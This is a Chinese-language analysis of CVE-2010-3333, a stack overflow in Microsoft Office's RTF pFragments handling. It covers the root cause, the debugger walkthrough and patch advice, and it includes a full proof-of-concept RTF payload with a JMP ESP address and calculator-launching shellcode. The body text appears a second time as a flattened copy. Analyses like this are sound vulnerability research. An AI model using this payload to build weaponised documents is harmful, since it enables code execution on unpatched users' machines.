Note——CVE-2010-3333
字数 1432 2025-08-19 12:42:02

CVE-2010-3333 Microsoft Office RTF栈溢出漏洞分析

漏洞概述

漏洞编号: CVE-2010-3333
漏洞类型: 栈溢出漏洞
影响组件: MSO.DLL在处理pFragments数组时未校验复制长度
攻击方式: 构造特殊RTF文档触发漏洞,实现任意代码执行

受影响版本

  • Microsoft Office XP SP3
  • Office 2003 SP3
  • Office 2007 SP2
  • Office 2010
  • Office 2004和2008 for Mac
  • Office for Mac 2011

漏洞分析环境

  • 操作系统: Windows XP SP3
  • Word版本: 11.0.5604.0
  • MSO.DLL版本: 11.0.5606.0
  • 调试工具: WinDbg, IDA Pro

漏洞详细分析

漏洞成因

MSO.DLL在处理pFragments数组时未对复制长度进行校验,导致可以构造恶意数据造成栈溢出,从而劫持程序执行流程。

关键函数调用链

  1. 崩溃点位于0x30E9EB88,EDI指向只读内存区域
  2. 回溯调用栈发现关键函数sub_30F4CC93
  3. sub_30F4CC5D中的局部变量距离返回地址仅0x14字节
  4. sub_30E9EB62在执行复制操作前未检查长度参数

参数传递分析

  1. 参数1: 通过sub_30D2810C返回值确定
  2. 参数2: ebp-10h指向的局部变量
  3. 参数3: 固定值0

复制长度计算

通过WinDbg调试发现:

  1. 复制长度由RTF文档中的特定字段控制
  2. 源数据位置由ESI寄存器指向的内存区域决定

漏洞利用构造

RTF文档结构

基本RTF文档结构如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;12345678}}}}}

关键字段说明

  1. pFragments: 漏洞触发的关键属性名
  2. sv值格式: 1;1;payload_data
    • 第一个"1"控制是否调用Ordinal501
    • 第二个"1"可能与长度相关
    • 后续为实际payload数据

完整POC结构

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0}}}}}

Payload组成

  1. 填充数据: "12345678"等用于填充栈空间
  2. 长度控制: "0101"控制复制长度
  3. 栈填充: "6161616162626262636363636464646465656565"等用于精确控制栈布局
  4. 跳转地址: "904dc57d"是JMP ESP指令地址
  5. Shellcode:
    • 使用小写字母形式写入
    • 示例为弹计算器的Shellcode:
      33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0
      

特殊处理

  1. 大写字母处理: RTF处理器会将payload中的大写字母替换为0
    • 利用这一特性将"AABBCCDD"等数据转换为全零
    • 避免触发sub_30F4CE43的额外检查

调试技巧

  1. VirtualAlloc处设置断点,捕获内存分配过程
  2. 在关键地址0x14D158C设置内存访问断点
  3. 跟踪Ordinal501函数对内存的修改

漏洞修复建议

  1. pFragments属性的值进行严格长度校验
  2. 更新到微软发布的安全补丁
  3. 禁用不必要的RTF文档处理功能

参考文档

  • Microsoft Office Word 2003 RTF Specification
  • 微软安全公告MS10-087

总结

CVE-2010-3333是一个典型的栈溢出漏洞,通过精心构造的RTF文档可以绕过长度检查,实现任意代码执行。漏洞利用的关键在于精确控制复制长度和栈布局,同时利用RTF处理器的特性绕过额外的安全检查。

CVE-2010-3333 Microsoft Office RTF栈溢出漏洞分析 漏洞概述 漏洞编号 : CVE-2010-3333 漏洞类型 : 栈溢出漏洞 影响组件 : MSO.DLL在处理pFragments数组时未校验复制长度 攻击方式 : 构造特殊RTF文档触发漏洞,实现任意代码执行 受影响版本 Microsoft Office XP SP3 Office 2003 SP3 Office 2007 SP2 Office 2010 Office 2004和2008 for Mac Office for Mac 2011 漏洞分析环境 操作系统 : Windows XP SP3 Word版本 : 11.0.5604.0 MSO.DLL版本 : 11.0.5606.0 调试工具 : WinDbg, IDA Pro 漏洞详细分析 漏洞成因 MSO.DLL在处理pFragments数组时未对复制长度进行校验,导致可以构造恶意数据造成栈溢出,从而劫持程序执行流程。 关键函数调用链 崩溃点位于 0x30E9EB88 ,EDI指向只读内存区域 回溯调用栈发现关键函数 sub_30F4CC93 sub_30F4CC5D 中的局部变量距离返回地址仅0x14字节 sub_30E9EB62 在执行复制操作前未检查长度参数 参数传递分析 参数1 : 通过 sub_30D2810C 返回值确定 参数2 : ebp-10h 指向的局部变量 参数3 : 固定值0 复制长度计算 通过WinDbg调试发现: 复制长度由RTF文档中的特定字段控制 源数据位置由ESI寄存器指向的内存区域决定 漏洞利用构造 RTF文档结构 基本RTF文档结构如下: 关键字段说明 pFragments : 漏洞触发的关键属性名 sv 值格式: 1;1;payload_data 第一个"1"控制是否调用 Ordinal501 第二个"1"可能与长度相关 后续为实际payload数据 完整POC结构 Payload组成 填充数据 : "12345678"等用于填充栈空间 长度控制 : "0101"控制复制长度 栈填充 : "6161616162626262636363636464646465656565"等用于精确控制栈布局 跳转地址 : "904dc57d"是JMP ESP指令地址 Shellcode : 使用小写字母形式写入 示例为弹计算器的Shellcode: 特殊处理 大写字母处理 : RTF处理器会将payload中的大写字母替换为0 利用这一特性将"AABBCCDD"等数据转换为全零 避免触发 sub_30F4CE43 的额外检查 调试技巧 在 VirtualAlloc 处设置断点,捕获内存分配过程 在关键地址 0x14D158C 设置内存访问断点 跟踪 Ordinal501 函数对内存的修改 漏洞修复建议 对 pFragments 属性的值进行严格长度校验 更新到微软发布的安全补丁 禁用不必要的RTF文档处理功能 参考文档 Microsoft Office Word 2003 RTF Specification 微软安全公告MS10-087 总结 CVE-2010-3333是一个典型的栈溢出漏洞,通过精心构造的RTF文档可以绕过长度检查,实现任意代码执行。漏洞利用的关键在于精确控制复制长度和栈布局,同时利用RTF处理器的特性绕过额外的安全检查。